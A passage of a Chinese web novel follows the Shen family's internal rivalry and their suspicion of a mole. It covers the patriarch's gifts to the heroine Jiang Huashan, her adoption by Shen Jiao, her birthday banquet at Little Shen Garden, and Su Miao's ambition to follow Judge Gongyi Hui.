傅家与教会勾结,利用教会便利为上层贵族调教XN字收取高额暴利,这件事一旦曝光,不仅仅是傅家,A国众多食物链顶端的决策者都会被拖下水,没想到苏家竟然做了第一只出头鸟。 就在这时,莫然打来了电话。 “先生,少爷的确遵照您的吩咐在法庭宣判无罪后撤回了声明,是鲸港时政的主编文永和私发了您的声明。” “他人呢?” 沈谦语气冰冷,报刊和对接人都是他物色好了才让沈归灵去对接的,如果真是人出了问题,这就不是沈归灵无能了,而是他无能。 莫然,“文咏和五个小时前已经登机离港,我还查到他名下突然多了一笔两百万汇款。” “把人抓回来。” “抱歉先生,已经来不及了,文永和所乘的航班遭遇空难,飞机上所有乘客无一生还。” 沈谦挂了电话转头看向窗外,眸底掠过寒光。 看来,沈家真出了内鬼。 …… 第359章 沈庄归园 竹园。 “先生怎么能不分青红皂白就下这么重的毒脚?” 雷行半蹲着身子给沈归灵上药,沈谦那会正在气头上,下脚不轻,沈归灵整个下腹都是淤青。 “我没事,你先出去吧。”少年低头整理衣角,神情淡淡。 少爷就是因为性格太好了,所以才总是被欺负。雷行欲言又止,最后还是老老实实提着药箱退出了房门。 沈归灵起身走向阳台。 许久没有回来,枯黄的叶子落了一地。他蹲下身,一片一片捡起散落的枯叶,眼神温柔又平静。 沈谦现在一定察觉到了自己被人耍了,以他的性格势必不会善罢甘休,只有当他意识到沈家并非他能掌控的龙潭虎穴,他才会急切需要一个信得过的助手,也只有那时,狡诈的权谋者才会真正放权。 至于那份声明,沈谦永远不会知道,正是他口中上不了台面的东西送给他的大礼。 沈归灵在拿到那份声明时就秘密调查了文永和的身份,所以,其实他早就知道报社有问题了,并提前做好了两手准备。 如果姜花衫的官司败了,报社那份声明会被木马入侵,永远不见天日。 但如果姜花衫赢了,他就顺水推舟假装什么都不知道,让沈谦背上这一口黑锅。 一举两得。 * 晚间。 沈谦再次归园,沈家人都在主厅等候消息,因着下午才不欢而散,二房和三房泾渭分明谁也不搭理谁。 傅绥尔和沈眠枝坐在角落‘大气都不敢出’,只顾低头看手机。 【O耶:不用猜了!大伯父肯定就是那个内奸。】 【枝枝:看大伯父的反应不太像,总觉得那个内奸能藏那么久应该没那么简单。】 沈眠枝抬头,不着痕迹打量了一圈最后落在沈兰晞身上。 她还是比较好奇沈兰晞,他那么一个人竟然用父亲的荣耀作赌,难不成真跟小姑姑联盟了? 连沈眠枝都能想到这个问题,在场其他人就更不用说了? 沈谦一再追问沈娇为什么临时更改答辩也正是这个原因。 沈庄虽然属意沈兰晞,但沈兰晞现在毕竟年轻,若他日老爷子驾鹤西去,沈兰晞未必能镇得住他这些不省心的叔伯。 三房中唯有沈娇生了外姓女,家主之位怎么都轮不到她,两人若是达成联盟也不是不可能。 一屋子人虽然各自沉默,但各有主意。 “老爷子归园!”外堂管事快步跑进主厅,神情喜悦。 众人立马站起身,沈谦自觉为尊,大步往前领路。 平时也就算了,眼下隔着私发声明的仇,沈娇也不惯着他,直接推着傅绥尔从沈谦的脚板上压了过去。 傅绥尔颠的屁股疼,没心没肺朝沈谦嚷道,“大伯父,你的脚卡着我的轮椅了。” “……”沈谦气的面部肌肉直跳。 “跟他解释什么?”沈娇目不斜视推着轮椅出了主厅。 “沈娇!” 沈渊气不过,指着沈娇正要追,沈澈一把拦在沈渊面前,“大哥、二哥快跟上,别让老爷子久等了。” 沈让吨位大,直接从沈渊面前挤了过去,回头朝沈眠枝招手,“枝枝跟上。” 沈眠枝腼腆笑了笑,侧着身子朝沈渊点了点头,小跑跟上沈让。 屋里其余几人面面相觑,沈澈打着哈哈笑了笑,招呼沈兰晞同行。 眼瞅着一屋子人故意给二房找不痛快,沈渊脸色也不太好看,“大哥,三房这是什么意思?欺负我们两个失孤老人?” 沈谦皱眉,上下打量他,“胡说八道什么?” “一个个联合小辈作妖,这不是欺负咱们每人?” 谁不知道沈清予是坑爹第一人,要想让他跟沈渊一个鼻孔出气,除非太阳从西边出来。 沈渊这才发现少了个人,“大哥,阿灵呢?怎么没瞧见他?声明这事只怕一时半会儿过不去,老爷子喜欢阿灵,有他帮着掩护你说不定能少挨点骂。” 沈谦想起下午那一脚,脸色凝重,“你也觉得那份声明是我的意思?” 沈渊,“不都署你的名儿了?” 沈谦不语,上下打量沈渊。 沈渊立马回味过来,“什么意思?你该不会是怀疑我吧?” 沈谦收回目光,不置可否,“先去见了老爷子再说。” 沈渊看着沈谦的背影,脸色顿然阴沉。 从小到大疑神疑鬼,看来,沈谦就算当了家主,他这个亲弟弟也未必会有好下场。 * 夜幕已深,沈园外挂起了联排灯笼,车灯从山下一路宛转,沈园庭院落满了人影。 车辆停摆,沈清予率先下车,正要上前开门,沈谦已经提前一步拉开车门,“爸。” 沈庄瞥了他一眼,摆摆手,扶着门框从车里走了下来。 “爸。” “爷爷。” “外公。” 众人异口同声,恭恭敬敬。 沈庄拄着拐杖,目光在众人间游弋了一圈,“衫衫和阿灵呢?” 沈谦神情微动,正要解释,沈归灵从园内走了出来,“爷爷见谅,我刚刚在院里侍弄花草,一不小心错过了时间。” 沈庄并不见怪,这个节骨眼还能静下心摆弄花草,足见沉稳, 他点点头,“外面冷,进去说话。” 一群人立马让出一条路,沈执轻扶着沈庄在前面领路。 沈清予懒洋洋跟在人群最后面,沈渊隔着人群看了一眼,故意慢下脚步。 “清予……” 才张口,沈清予斜睨了他一眼,“少打听,我什么都不知道。” “……”沈渊险些一口气没提上来,果然是沈家第一逆子。 主厅内,十二花神木门全部打开,等众人入内才慢慢关上。 茶室早就提前备好了热茶,沈执推着茶台放置主厅,沈庄端坐在主位,沈兰晞挨着最近的副手位,其余两房左右入座。 傅绥尔推着轮椅上前,“外公,你瞧,我又活蹦乱跳了。” 沈庄对小辈向来宽容,尤其是女孩儿,闻言笑着从怀里拿出事先准备好的红封,“外公忙,没赶着你出院,一点心意算外公给你压惊。” “谢谢外公。”傅绥尔大喜,双手接过。 沈庄摸了摸她的头,“那封信……写的不错。” 傅绥尔眼底立马亮起小星星,“外公您看了?” 沈庄点头,“不止我看了,你老师也知道了,听闻你受伤,这个寒假他会来A国给你补习。” “谢谢外公。” 沈庄笑了笑,抬眸看向沈执,“衫衫呢?还没来吗?” 正说着,张茹神情匆忙从外头小跑进来,“老爷子。” 沈娇看了沈庄一眼,帮着说话,“小张,衫衫呢?是不是太累还没缓过劲?” 张茹神情讪讪,“姜小姐听说沈家不认她,收拾包袱说要回淮城,我拦不住这才来告诉老爷子一声。” …… 第360章 少年心思不见月 话落,沈谦眉心一跳,转头看向沈庄,“爸……” 沈庄抬手制止,站起身,“我去看看。” 沈家大小神情各异,相互看了看跟着站起身,沈庄摆摆手,“你们都坐着。” 沈庄出了主厅,沈谦的脸色愈发不安,目光在对面几人脸上来回打量,到底是谁要害他? * 菊园。 姜花衫正趴在窗台眺望,远远看着一行人提着灯往廊下来,她立马跳下窗。 沈庄刚推开菊园的门,一道身影扑上前。 “爷爷!” “哎哟哟。”沈庄眼底带着宠溺的笑,牵着姜花衫进院厅,张茹立马准备茶水,沈执和郑松跟着进厅照应。 “叫爷爷来是有事要说?” 姜花衫咧嘴一笑,“真是什么都瞒不过您。爷爷,幸好您有先见之明,安排我另外答辩,您猜的果然没错,我们事先准备好的资料真的被泄露了!” 她表情突然凝重,左右看了看,捂着嘴小声说道,“爷爷,家里有贼。” 沈庄眸光微动,顺着她的话说道:“庭审的事你表现的很好,果然没有让爷爷失望。” 姜花衫会心一笑,隔空指了指,“爷爷,这个贼肯定就是大伯伯,他连解除声明都提前准备了,可见跟您不是一条心。” 沈执眉心跳了跳,回头看了郑松一眼,朝他使了个眼色便退了出去。 郑松完全没有反应,依旧像个门神站在沈庄身后。 * 另一边主厅,沈谦已经连灌了三杯茶,相较于其他人的气定神闲,议员长先生明显不在状态。 “老爷子。” 屋外头不知是谁喊了一声,众人立马站起身,没一会儿便看见姜花衫扶着沈庄走了进来。 姜花衫目光逡巡了一圈,点点头,“各位沈先生、沈少爷好。” 众人,“……” 沈庄轻轻拍了拍她的手,指着主位左下角留着的空位,“坐。” 等沈庄上坐,其余人才跟着入坐。 沈庄正襟危坐,双手撑着龙头拐杖,“你们不必紧张,这次的事总体来说都处理的很好,我没什么可说的。” 闻言,沈谦暗暗松了一口气,其余人神色各异。 “只有一点,关于衫衫的身份……” 沈谦立马接过话,“爸,我原也不是这个意思,是……” “行了。”沈庄出声打断,“是不是这个意思都不重要,但那份声明倒是提醒我了,也是时候给衫衫一个光明正大的身份了。” 沈兰晞眸光微动。 沈庄,“今天你们都在这,我就不妨把话说清楚。当初我领她回来没有马上入族谱是有其他考量,并不是如你们这般出了什么事就可随意抛弃!我还没死你们就敢这么对她,我要是死了,你们岂不是要逼死她?” 姜花衫原本还想气沈谦,猛然听见这话,回头看向沈庄。 其余人纷纷变了脸色。 “爸,您这话言重了。” “外公……”傅绥尔正要解释,却被沈娇拉了回去。 沈庄摆手,“严不严重话也说出来了,我一把老骨头也不知能活多久?你们个个都有主意,我心里也清楚。” 说罢,沈庄转头看向沈执,沈执立马将提前准备好的文件递上。 “都看看吧。” 沈庄接过资料转手扔在茶几上。 “除去公出的资产,这是我名下的房产,旁的先不说,小沈园我已经做主给了衫衫。” 所有人又是一愣,小沈园可是块宝地,当年太爷爷那辈就是在那起的家,后来沈家沈庄这一脉全族殉国,只留下老爷子一根独苗,等沈庄撑起家业后便搬到了现在的沈园。 当初沈玺大婚时,沈庄都没有割爱,现如今竟然给一个外人?! 沈渊脸色难看,“爸,沈家房产那么多,你随便挑几处都好说,小沈园……” 沈庄,“沈家庄子再多那也是我的东西,我爱给谁就给谁,怎么?你们有意见?” 小沈园三年前就已经过了户,就算这些人真有意见也无济于事。 除去沈娇,其余人脸色都不太好看,若是旁的还好说,可偏偏是小沈园, “另外,衫衫十六岁生日马上就要到了,择日不如撞日,我打算就那天去襄英,把族谱的事一并办了。” 小沈园都给了,入族谱还不是顺道的事,众人心知解除关系的声明只怕是踩着老爷子的逆鳞了,敢怒不敢言。 沈兰晞看了姜花衫一眼,“爷爷……” “老爷子,我觉得这事这么办不妥。” 没等沈兰晞开口,沈清予突然出声,“大伯前脚解除关系,您后脚就入族谱,这不是打大伯的脸吗?” 沈谦愣了愣。 沈渊抓了抓头,立马反应过来,“啊对啊,爸!您是不是也该听听这些小辈怎么说?” 既然儿子说话老爷子当放屁,就让孙子说。 沈庄怎么都没想到第一个站出来反对的竟然沈清予。 这几日他每天守着A国时讯,密切关注国内动静,显然对姜花衫也是有真心的,难道是他看错了? 沈谦会意,转头看向沈兰晞,“兰晞,你怎么说?” 沈兰晞犹豫片刻,神情闪烁,“爷爷,我也觉得您这个决定太突然了。” 沈庄蹙眉,有些意外,“兰晞,你也不同意爷爷把小沈园给衫衫?” 沈谦顿然松了一口气,这就对了!沈家的东西,争来争去也是沈家的,怎么能便宜一个外人? 小沈园可是祖辈传下来的宝地,他就不信沈兰晞会不心动? 沈兰晞,“我说的无关小沈园,那是爷爷您的东西,你想给谁就给谁,我只是觉得入族谱一事太突然了。” 沈谦只觉晦气,“……” 沈庄思忖片刻,反问,“哪里突然了?” 沈兰晞从没如眼前这般心虚,目光瞟向沈归灵。 “爷爷,阿灵比衫衫年长两岁,就算要入族谱也该是阿灵先才是。” 沈庄从未防备过沈兰晞的心思,闻言只觉惭愧,“阿灵,是爷爷疏忽你了。” 沈归灵看了沈兰晞一眼,眼梢轻挑,面带微笑,“多谢兰晞哥挂念,爷爷,我倒是觉得不如趁此机会,我和衫衫一起入族谱,这样也方便些。” 再不说话,爷爷孙女的名额就要被抢没了,姜花衫连忙点头应和,“我看……” “不行!”沈清予和沈兰晞异口同声拒绝。 这两坨老鼠屎! 姜花衫顿时气极,一个眼刀甩了过去。 “……” …… 第361章 正义不会迟到 沈清予和沈兰晞同时愣了愣,突然意识到什么,意味不明看向对方。 傅绥尔目光在两人之间转了一圈,充满敌意,“凭什么不行!没想到连你们两个都不帮衫衫说话。” “……”沈清予懒得解释,一脸严肃,“爷爷,木秀于林,风必催之,衫衫刚刚解除危机,您现在又给房子又给祖籍,这不是明晃晃告诉别人,她就是块肥肉吗?眼下风波还未平息,我觉得实在没必要再让衫衫成为被关注的焦点。” 这话倒是说到了沈庄的心坎上,当初之所以没有让姜花衫入族谱,一是因为她年纪小,沈庄想等她长大后确定了心意再决定。 二是为了保护姜花衫,至高的权力都伴随着危机,姜花衫毕竟不是真正的沈家人,沈庄只希望她能平平安安度过这一生。 沈兰晞见沈庄没有接话,斟酌道:“爷爷,您如果担心衫衫以后的生活,除了小沈园您还可以给她创办独立基金会,至于身份,我……我觉得不宜操之过急,她现在年纪还小,不应该有那么多束缚,沈家的身份对衫衫来说未必是好事。” 这一点,沈庄其实也想到了。 如果哪天他真的撒手人寰,遇上狼子野心的,沈家女的身份对小花儿来说反而会成为负担,远不如真金白银来的实在。 沈清予和沈兰晞暗暗观察沈庄脸色,见他眸中多了几分思量,不觉松了一口气。 两人正欲乘胜追击,没防备突然撞上姜花衫的死亡目光。 “……” 空气凝结且尴尬。 沈清予从跟着沈庄出国到刚刚回来起码有大半个月没见过姜花衫了,原想着回来一定要好好缓和关系,没想到就遇上了这种糟心的事。 他只觉是自己变态,连正眼都不敢看她,心虚转过头。 沈兰晞也好不到哪里去,假装不在意垂下眸,明知这么做肯定会被记恨上,但眼下除了被记恨也没有更好的办法。 这一幕落在姜花衫眼里可就是另外的含义了。 确认过眼神!这两颗老鼠屎就是在故意搅局。 事关姜花衫的未来,沈庄也不得不慎重再慎重,若是别人说也就罢了,沈兰晞和沈清予都是顾全大局的好孩子,两人又难得意见相投,这让沈庄一时拿不定主意。 “你们也是这么想?” 沈谦略有疑惑看向沈兰晞。 小沈园他不在乎,竟然在乎一个虚名?这里面肯定有猫腻。 既然不同阵营那自然是沈兰晞反对什么他就该支持什么。不过,眼前都是聪明人,沈谦即使有这个想法也不好表示。 这时,沈归灵再次开口,“爷爷,我倒是觉得趁着这个机会让衫衫入族谱也是好事,如此,外面的谣言也就不攻自破了。而且,入族谱这种事,不应该是爷爷和衫衫的心意才是最重要的吗?那些外人又何必理会?” 这话一出,沈谦心里熨帖得不行,阿灵真是处处在为他这个父亲说话。 姜花衫盯着沈归灵上下打量,莫名其妙就看他顺眼了。 沈兰晞皱着眉头,不动声色审视沈归灵的一举一动。 南湾那夜,可不止是他的心思没藏住,沈归灵跟他半斤八两,这个亲要认了,以后还能有他们什么事?沈归灵不可能不明白这个道理,他到底安的什么心? 沈兰晞一时想不明白,转眸看向姜花衫,却见她目不转睛盯着沈归灵,眼里满是好奇与探究,这份另眼相待让沈兰晞淡漠的脸上多了几分情绪。 沈渊原想跟着附和沈归灵,还没开口沈清予满眼讥诮看了过来,沈渊立马闭上了嘴。 相比其他人的弯弯绕绕,沈澈显得很无所谓,“都是自小看着长大的孩子,爸您说什么就是什么。” 沈让脸色凝重,“爸,我也觉得现在不合时宜。” 沈眠枝愣了愣,完全没想到沈让竟然会反对。 “这才间隔多长时间?枝枝被害,绥尔中枪,衫衫身陷囹圄,我觉着咱们现在最要紧的是把这背后的事弄明白。” 沈娇点头,“爸,我也觉得五哥说的有道理。衫衫现在在A国的影响力已经远远超过了总统千金,若是在这个节骨眼高调宣布入族,实在很容易引起别有用心之人惦记。” 见姜花衫有些失望,沈娇立马补充道,“要不这样?我和傅嘉明离婚后一直还没给绥尔换姓,不如趁着这个机会把衫衫直接过继到我名下,以后只要有绥尔的一份衫衫也不会少。等过两年,风头过了咱们再风风光光举办归祖宴。” 虽然都是不同意,但沈娇这番话让姜花衫提不起半点敌意。 “不行!” 过继了不就还是妹妹,跟入族谱有什么区别? 没等沈庄表态,沈兰晞和沈清予立马又跳了出来。 沈清予,“爷爷要担心衫衫以后被欺负,我可以让出我名下沈氏一半的股份。没必要非得过继!” 沈兰晞微愣,净透的眼底浮过暗光,他好像明白了什么抬眸看向沈归灵。 沈归灵笑了笑,似在笑他现在才明白。 沈渊反应过来,第一个不同意,“清予!胡说八道什么?!” 姜花衫忍无可忍,跟着叫嚷,“就是,谁稀罕你的钱!有本事你把股份全给我!” “……”沈渊猝不及防,活见鬼似的看向姜花衫。 沈清予好笑,“你倒是不客气。” 姜花衫冷哼,“找我不痛快的时候也没看你客气。” 沈清予自觉这件事做的不厚道,握拳抵着鼻尖,“我……不过就事论事。” 就事论事?姜花衫冷笑,就事论事为什么不敢看她? 沈庄沉吟片刻,“阿娇这个主意不错。” 沈清予眼睑微动,话都说到这份上了,他还能说什么?再说,心思只怕要露馅了。 沈兰晞面无表情,盯着眼前的茶汤不说话。 沈娇跟着笑了起来,“您既说好,那我就去办了!”两个女儿都随自己,沈娇打心眼里开心。 姜花衫笑了笑,回头看向沈娇, 上辈子她到死都没能成为爷爷的孙女,好不容易以沈家孙长媳的名义成了半个沈家人,又被沈兰晞厌弃逐出了沈家,要不是她中途觉醒,她和沈兰晞名存实亡的婚姻早就画上了句号。 如果她真成了沈娇的女儿,这辈子她不仅有爷爷,还有妈妈了! 沈庄见姜花衫满眼期待,轻轻摸了摸她的头,“去办吧。” * 几天后,沈娇大张旗鼓忙起了过继改姓事宜。 为了弥补姜花衫这几日受到的委屈,沈庄亲自给小沈园提笔写匾,并当着沈家所有人的面将小沈园的钥匙交付到了姜花衫手里。 为了给姜花衫暖园,沈庄还特意将生日宴定在小沈园举办。 转眼就过了半个月。 这半个月,姜花衫过的岁月静好,但鲸港时局却是动荡不安。 教会案越查越深,取证进展十分不顺,先是调查组高级督察失足掉下山顶,后是大法官公仪蕙家中遇贼险些丧命。 与此同时,北湾轻轨大面积出现隧道轰塌事件,当地居民连夜暴动举报轻轨承建方偷工减料,克扣民计。 生日宴前夕,姜花衫特意拜托沈娇带她去医院看望公仪蕙,政府对于公仪蕙的安全高度重视,特别调了两个营的特警驻守医院,让姜花衫没想到的是,乔金锦竟然也在这次特警名单里。 敏感时期,姜花衫并没有过多停留,简单慰问了几句留下一束鲜花就离开了医院。 回到菊园,她屁股还没坐热就听见脑子里忽然响起一串电子音。 【叮——】 【正义不会迟到,恭喜当前人物姜花衫完成主线宝藏剧情,《四十九号档案》篇之《隐秘的角落》】 【通知:因当前人物未能及时绑定,任务已清除,奖励清零。】 姜花衫嘴角扬起一抹微笑,倒头跌进身后柔软的被窝。 任务完成,说明公仪蕙已经看到她藏在花束里的资料和名单了。 当初从画室拿到这份资料时,为了以防外万一,她特意多拷贝了一份。三年前她把资源交给了爷爷,就是希望可以在最短时间内改变那些女生的结局,可事与愿违,没多久,剧情就被剧目之力强行修正了。 在羁押所的时候,她就在想,盛大的剧目节点需要一个喜剧收尾,于是她想到了那群深渊里的女生。 她记下了所有女生的资料,斟酌挑选了百名作为先驱者,然后委托沈眠枝利用暗堂的关系网找到了她们。 向她们发出联盟邀请。 她知道女生们不敢轻易相信任何人,于是,她在信中提议以审议结果为暗号,如果她能无罪释放,如果她能安然无恙走到公义之下,那么就请大家也再相信一次正义,为自己做一次这个世界的超级英雄。 受害者们大多并不相识,于是,她在信中与她们约定,如果大家愿意共赴这场正义之旅,就请带上鲜花,以抛花为信,互为盟友。届时,她就会知道这场救赎要不要继续。 所以这一场布局,公仪蕙是她选中的人,那些隐藏在人潮里为自己喊冤的女生也是被她吸引而来,现在再由她亲手送上铁证,这场深渊之旅终于能彻底结束了。 至于那微不足道的奖励,就让它见鬼去吧! * 姜花衫的生日是十二月十二日,年末的尾巴。 小寿星的待遇高人一等,睡到自然醒,吃了碗张妈秘制长寿面,沈娇亲自盯着妆造师把眼前头顶着一绺呆毛的女孩儿装扮成了杀伤力极强的小公主。 沈庄为了这场生日宴张罗了大半年,沈家人一大清早就在主厅等着给小寿星庆生。 “爷爷!”姜花衫蹦蹦跳跳跑进主厅时,立马抢走了所有人的目光。 沈庄看着她的眼睛,神情有些恍惚,许久后摸了摸眼角的湿润,“阿昕若还在,看见你只怕要高兴坏了。” 姜昕,姜花衫的奶奶。 “……”姜花衫微怔,这还是她第一次听见爷爷喊奶奶的名字。 “爷爷,这就是小花儿妹妹?” 姜花衫这才注意到沈庄身后站着两个身形、样貌极其相似的少年。 羊毛卷是弟弟沈亦杰,黑长直是哥哥沈亦泽,说话的正是性格活泼的沈亦杰。 上一世姜花衫也只是在每年的春节家宴和结婚宴礼上见过两人,平时几乎没有交集。 她对沈家不熟的人本能地保持警惕,认真打量了一眼才点了点头。 见姜花衫不开口,沈亦杰扬眉,“就这么敷衍过去了?连声哥哥都不喊?” 沈清予眼神欠欠,“喊什么哥哥,这儿的这么多哥哥,她喊的完吗?” 沈兰晞脸色淡了几分。 沈亦杰愣了愣,“你又哪根筋不对了?” 沈清予冷哼了一声。 姜花衫假装没听见,斜眼睨了沈清予一眼,转头拉着沈庄的胳膊,“爷爷,沈清予这么不待见我,要不您把他从沈家踢出去吧?” 沈清予一愣,表情微妙。 沈庄捂着额头,瞪了沈清予一眼示意他消停会。 沈亦泽抬眸看向人群里安静的少年,其余人他都见过,唯独沈归灵还是第一次见。 沈执入厅,“老爷子,小沈园那边准备的差不多了。” 为了给姜花衫庆生,沈庄特意在小沈园修建了停机坪,考虑到万一姜花衫以后出嫁来回沈园方便,还备置了一台专用直升机。 从沈园驱车至小沈园大约需要一个小时,但若是直升机十分钟都不需要。 小沈园类似缩小版的沈园,沈园九院十二廊错落有致巍峨大气,小沈园则只有四院,主院为牡丹院,另外三院分别是芙蓉院、芍药院以及蔷薇院。 主院自不必说了,连沈园的十二花神门都是从这儿复刻临摹的,只不过沈园门扇用的是上百年的小叶紫檀,而牡丹园的十二花神规模小上一圈,内窗用的是象牙珐琅掐丝工艺,虽不比沈园气韵厚重,但论精美奢华有过之而无不及。 得亏沈谦没有来,不然牙齿都会酸掉。 傅绥尔心无城府,挽着姜花衫的胳膊撒娇道,“这里这么大,你一个住多孤单,给我留个院?以后我嫁不出去就黏着你,嫁出去了带全家黏着你。” 姜花衫点头,“行啊,你随便挑。” 那三年她一个人住在这时常感觉冷清,如果以后这里就是她的归宿,多个人陪也好。 …… 第362章 苏妙的路 宴席设在主厅。 既是暖园,宾客自然备了厚礼。 傅绥尔和沈眠枝围着芙蓉园转悠了一圈,指着连接墙角的后院,“那边空着的地可以建个水池,夏天可凉快了。” 姜花衫挑眼看去,上一世,她在后院建了个白色的玻璃房,满园种满了牡丹。 也不知怎么,她忽然想起很多以前的事,目光一下就被吸引了过去。 当初被沈兰晞赶出沈家后她便在小沈园落了脚,所以小沈园对她而言既是救赎也是牢笼。 往事不可追,建个池塘其实也不错。 姜花衫正要应口,沈庄笑吟吟走上前,“想要水池可以在主院前面的回廊修建,弄个楼台水榭也不错,这里爷爷已经做主给你移了一亩花海,到时在那再搭个白色的玻璃房,明年春天就能看到雏形了。” 别时旧景? 姜花衫一愣,抬头看向沈庄。 “花海啊?”沈眠枝想了想,“那一定很美。” 心窍忽开,这话好似一道闸口,卸下了她心底多年的洪荒。 虽然还是花海,可是这些花跟以前的花不一样,它们整整提前了七年盛放,这一年傅绥尔、沈眠枝都还在。 姜花衫点头,“就听爷爷的。”说罢,她转头看向沈眠枝,“明年一起看花。” 沈眠枝应好,傅绥尔挤进两人中间,“何止明年,我已经看好院子了,以后年年一起看花。” 沈庄眼含笑意,于他现在的年纪,最想看到的无非就是子孙和睦常绕膝下。 * 晚间,小沈园迎来了两位意料之外的客人。 苏灼提着一大堆精美礼盒,见沈庄也在园中立马上前见礼。 “沈爷爷好,不请自来叨扰了。” 沈庄摆摆手,全然没有国宴时的架子,“今天是衫衫的生日,她最大,不用理会我这老头子。” 沈家老爷子虽这么说,但苏灼却不敢当真,见沈庄自己跟自己在下棋,主动示好,“一直听说沈爷爷棋术有道,不知沈爷爷可愿意指导一二?” 沈庄看了他一眼,笑着点头,“行,他们都不愿意陪我这个老头儿,还是阿灼有心。” 沈执会意,立马上前归置棋子。 另一边凉亭里,姜花衫、傅绥尔、沈眠枝围着圆桌凑成一个圆正在说悄悄话。 “你们说他们为什么都反对衫衫入族谱?难不成内奸是兰晞哥?” 姜花衫摸了摸下巴,上一世沈兰晞的确是最后见过爷爷的人,二房因此怀疑过他,但沈兰晞有不在场证明,再加上他并没有杀害爷爷的动机,警方很快洗清了他的嫌疑。 沈眠枝,“兰晞哥规矩重,我觉得他不同意或许是有别的考虑。” 连自己父亲的金枪荣耀都拿出来了,怎么可能会讨厌姜花衫? 傅绥尔点头,“这么说清予哥应该也不可能,他都愿意让出自己沈氏的一半股份。” 她又想了想,“凶手往往是最不可能的那个,枝枝,内奸该不会是你爸爸吧?” “……”沈眠枝眉心一跳,“你别胡说,绝对不可能。” “你们在玩什么?什么内奸?” 三人正说着起劲,冷不丁中间突然凑近一个头。 “……” 姜花衫最先反应过来,左右看了看,“苏妙?你怎么来了?” 苏妙傲娇抬着下巴,“你还好意思说,过生日怎么也不告诉我一声?连封请柬都没有,真是不够意思。” 三人相互看了看,纷纷入座。 苏妙有些扭捏,挣扎了片刻从口袋里掏出一张银行卡,“诺,生日快乐。” 姜花衫被她逗笑了,“这什么?” 苏妙,“生辰礼金,我把这些年家里给我买的值钱的都卖了,钱全在这里了。” “都给我了?那你怎么办?” “我?”苏妙盯着最后一个空位犹豫了片刻,蹭的落腚,“我跟着你混啊,没钱了我再管你要。” “……”姜花衫挑了挑眉,算盘珠子都快崩她脸上了。 沈眠枝和傅绥尔对视了一眼,沈眠枝率先起身,“咦?那边是谁在跟爷爷下棋啊?去看看?” 傅绥尔跟着起身。 苏妙故作笑意的眼梢淡了几分,默默看着沈眠枝和傅绥尔的背影,喃喃道,“她们还怪暖心的。” 她仰起头,拍了拍自己的脸,转头看向姜花衫,突然说道:“苏莉死了。” 姜花衫微愣。 苏妙当即反应过来,表情微妙,“抱歉啊,今天是你的生辰,我不该提这么晦气的事。我……” “你难过吗?”姜花衫的眼神格外平静。 苏妙想了想,“我不难过,我只是……觉得有一点点闷。” 苏莉一直以为自己和盘托出,苏妙就会想办法救她,可是等来的却是当堂庭审。她作恶多端,即便苏家不干涉下半辈子也只能在监狱度过。 但有人害怕苏莉的证词会对自己不利,买通了羁押所的内部人员,苏莉被毒杀身亡。 苏家原本是可以保住苏莉的,可是用苏莉一条命引出幕后凶手对苏家的布局更有利,所以不管是作为傅家的废棋,还是苏家鱼饵,苏莉都非死不可。 苏妙看着手里的银行卡,“全家人都很担心我,爷爷打听到你今天是你的生日,他怕我不开心特意让阿灼哥带我出来散散心。所以,这礼金你一定要收下。” 姜花衫好像明白了什么,“你想让我做什么?” 苏妙看着她,“我想见公仪蕙。” “公仪蕙?”姜花衫愣了愣,全然没想到苏妙竟然会提出这样的要求。 苏妙点头,“苏莉作恶多端,不管最后落的什么下场都是她自作自受。我不明白的是,她既然已经接受了庭审,关进了羁押所为什么还是没能逃过被人谋算的结局?所有人都觉得大快人心,只有我感觉到了麻木和恐慌。” 姜花衫,“你想替她伸张正义?” 苏妙摇头,目光坚定,“苏莉的故事已经结束了,我想见公仪蕙不是为了她,而是为了我自己。” 脑海中不觉又想起姜花衫那声斩钉截铁的质问,“如果这个世界的秩序、正义暂时失效了,一个小时的超级英雄又有何不可?” 这个世界总要有人愿意做先驱者。 她缓缓说道,“苏莉的死好像让我找到了人生意义,公仪法官已经老了,但A国人民不能失去公义,所以,我想成为下一个‘公仪蕙’” 庭审结束后,姜花衫那段个人英雄主义的自辩让她广受A国女性同胞的喜爱,在主流媒体的渲染下,A国年轻女孩人人都想成为姜花衫,但她不想。 她只想成为公仪蕙。 公仪法官为人清廉,几乎不与权贵打交道,为了捍卫司法公正,她甚至都亲人朋友都没有,但她却破格见了姜花衫,所以苏妙希望姜花衫能帮忙引荐自己,让她跟在这位先驱身边学习。 姜花衫收敛神情,慎重接过苏妙手里的银行卡。 “好,我想公仪法官一定会很乐意。” 超级英雄固然可贵,可若正义坚守,法度严明,英雄的剑与挑水工的扁担并无不同。 …… 第363章 把心思藏好 “好!外公杀的好!” 廊庑那边,傅绥尔一边雀跃一边拍手叫好。 苏灼目瞪口呆看着败势的棋局,笑着起身认输,“沈爷爷好厉害。” 廊下,一群少年在帘下煮茶,听见动静纷纷起身。 苏灼顺势与沈家几位少爷挨个打招呼。 沈执和张茹招呼着席面,等菜上了齐了,沈执笑着步入廊下,“老爷子,请入席。” 沈庄目光从廊下一路环顾,最后落在姜花衫身上,“小花儿,还不招呼大家入席?” 姜花衫一身懒劲,但沈庄说的话她从不敷衍,立马跑出凉亭朝大家招手,“快起来给我祝寿了。”说着又窜进廊下挽着沈庄的胳膊,“爷爷,我扶您。” “来的早不如来得巧,冯妈,把我前些年竞拍的珍酿都拿出来。” 沈娇穿着一身鸽血红皮草,笑吟吟步入正厅。 “妈。”傅绥尔小跑上前搂着沈娇的胳膊,“事情搞定了吗?” 沈娇眼里的笑容顿了顿,很快遮掩了过去,“先开席。” 席间,张茹做主换了张小席面的圆桌,热热闹闹十几人围成一团气氛格外温馨。 姜花衫闻着酒香,偷喝了一口顿然眼睛一亮。 傅绥尔见状立马讨要一杯一口闷下,呛的眼泪直流,姜花衫转头端起草莓汁漱口,惹得众人大笑。 苏妙见状偷偷匀了苏灼半杯酒,小口抿了抿一脸惊喜,趁着没人注意仰头干了。 沈清予因为姜花衫过继之事彻底恨上了沈归灵,一口一个阿灵哥,沈归灵的酒杯就没空过。 苏灼偷偷打量沈眠枝,眼下正是拉近关系的好时机。 念此,他拎着酒杯挨个敬酒,眼看就要跟沈眠枝搭上话,沈亦杰一打岔又转了回去。 沈庄好久没有这么开心了,不免多喝了几杯,吓的一旁的沈执又是醒酒茶又是解酒丸,沈庄嫌他碍事,将人打发去了隔壁桌。 另一桌,高止还记恨着上次在法院前被雷行算计一事,直接拿碗当杯誓要与雷行不死不休。 